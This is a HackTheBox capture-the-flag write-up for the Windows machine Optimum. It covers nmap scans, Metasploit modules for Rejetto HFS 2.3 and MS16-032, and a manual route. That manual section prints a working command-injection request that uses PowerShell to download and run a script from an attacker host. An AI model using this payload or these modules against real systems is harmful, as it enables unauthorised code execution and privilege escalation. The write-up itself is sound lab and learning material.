- Published on
HTB Optimum
- Authors
- Name
- collinhacks
- @collinhacks
Optimum
Enumeration
nmap
all ports, full enumerate
nmap -p- -sV -A <ip> --open -o full-enumerate.nmap
└─$ nmap -p- -sV -A $IP --open -o full-enumerate.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-25 15:54 EDT
Nmap scan report for 10.129.148.208
Host is up (0.024s latency).
Not shown: 65534 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
80/tcp open http HttpFileServer httpd 2.3
|_http-title: HFS /
|_http-server-header: HFS 2.3
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 130.07 seconds
nmap
(all identified TCP ports + default scripts & service versions)
nmap -p <1,2,3> -sV --script default --script http-methods --script http-headers <ip> -o <ip>-identified-ports.nmap
└─$ nmap -p 80 -sV --script default --script http-methods --script http-headers $IP -o identified-ports.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-25 16:02 EDT
Nmap scan report for 10.129.148.208
Host is up (0.035s latency).
PORT STATE SERVICE VERSION
80/tcp open http HttpFileServer httpd 2.3
| http-headers:
| Content-Type: text/html
| Content-Length: 3833
| Accept-Ranges: bytes
| Server: HFS 2.3
| Set-Cookie: HFS_SID=0.343509285710752; path=/;
| Cache-Control: no-cache, no-store, must-revalidate, max-age=-1
|
|_ (Request type: HEAD)
|_http-server-header: HFS 2.3
|_http-title: HFS /
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.78 seconds
nmap
(vuln scan)
nmap -p <1,2,3> --script vuln <ip> -o <ip>-vuln.nmap
└─$ nmap -p 80 --script vuln $IP -o vuln.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-25 16:25 EDT
Nmap scan report for 10.129.148.208
Host is up (0.026s latency).
PORT STATE SERVICE
80/tcp open http
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-vuln-cve2011-3192:
| VULNERABLE:
| Apache byterange filter DoS
| State: VULNERABLE
| IDs: BID:49303 CVE:CVE-2011-3192
| The Apache web server is vulnerable to a denial of service attack when numerous
| overlapping byte ranges are requested.
| Disclosure date: 2011-08-19
| References:
| https://seclists.org/fulldisclosure/2011/Aug/175
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192
| https://www.securityfocus.com/bid/49303
|_ https://www.tenable.com/plugins/nessus/55976
| http-fileupload-exploiter:
|
|_ Couldn't find a file-type field.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-method-tamper:
| VULNERABLE:
| Authentication bypass by HTTP verb tampering
| State: VULNERABLE (Exploitable)
| This web server contains password protected resources vulnerable to authentication bypass
| vulnerabilities via HTTP verb tampering. This is often found in web servers that only limit access to the
| common HTTP methods and in misconfigured .htaccess files.
|
| Extra information:
|
| URIs suspected to be vulnerable to HTTP verb tampering:
| /~login [GENERIC]
|
| References:
| https://www.owasp.org/index.php/Testing_for_HTTP_Methods_and_XST_%28OWASP-CM-008%29
| http://www.imperva.com/resources/glossary/http_verb_tampering.html
| http://www.mkit.com.ar/labs/htexploit/
|_ http://capec.mitre.org/data/definitions/274.html
Nmap done: 1 IP address (1 host up) scanned in 274.92 seconds
Port Enumeration
**Port x
Exploitation
**********Port x
Foothold
- On the web app I noticed “HttpFileServer 2.3” so I did a searchsploit to see there is some sort of Command Execution vulnerability
- Tried it didn’t work
- Went to
msfconsole
→search HttpFileServer 2.3
→use exploit/windows/http/rejetto_hfs_exec
User pwn from this
Root
- Backgrounded user shell
search suggester
→use post/multi/recon/local_exploit_suggester
- Ran it and got a few back
windows/local/ms16_032_secondary_logon_handle_privesc
was the one that gave me root
No metasploit:
Foothold
- It was with the module from searchsploit, I just did not use it correctly, the request would look like
GET /?search=%00{.exec|c:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe IEX(New-Object Net.WebClient).downloadString('http://10.10.16.3/file.php').}
Root
- Then for root we use
/Invoke-MS16032.ps1
fromEmpire
(which I think is insanely outdated) to get root, so its just another shell but this one gives us root. It is uploaded the same.
Useful resource links
Lessons Learned
- Fun to see how easy some exploits can be with metasploit, doing it manual is nice to see as well.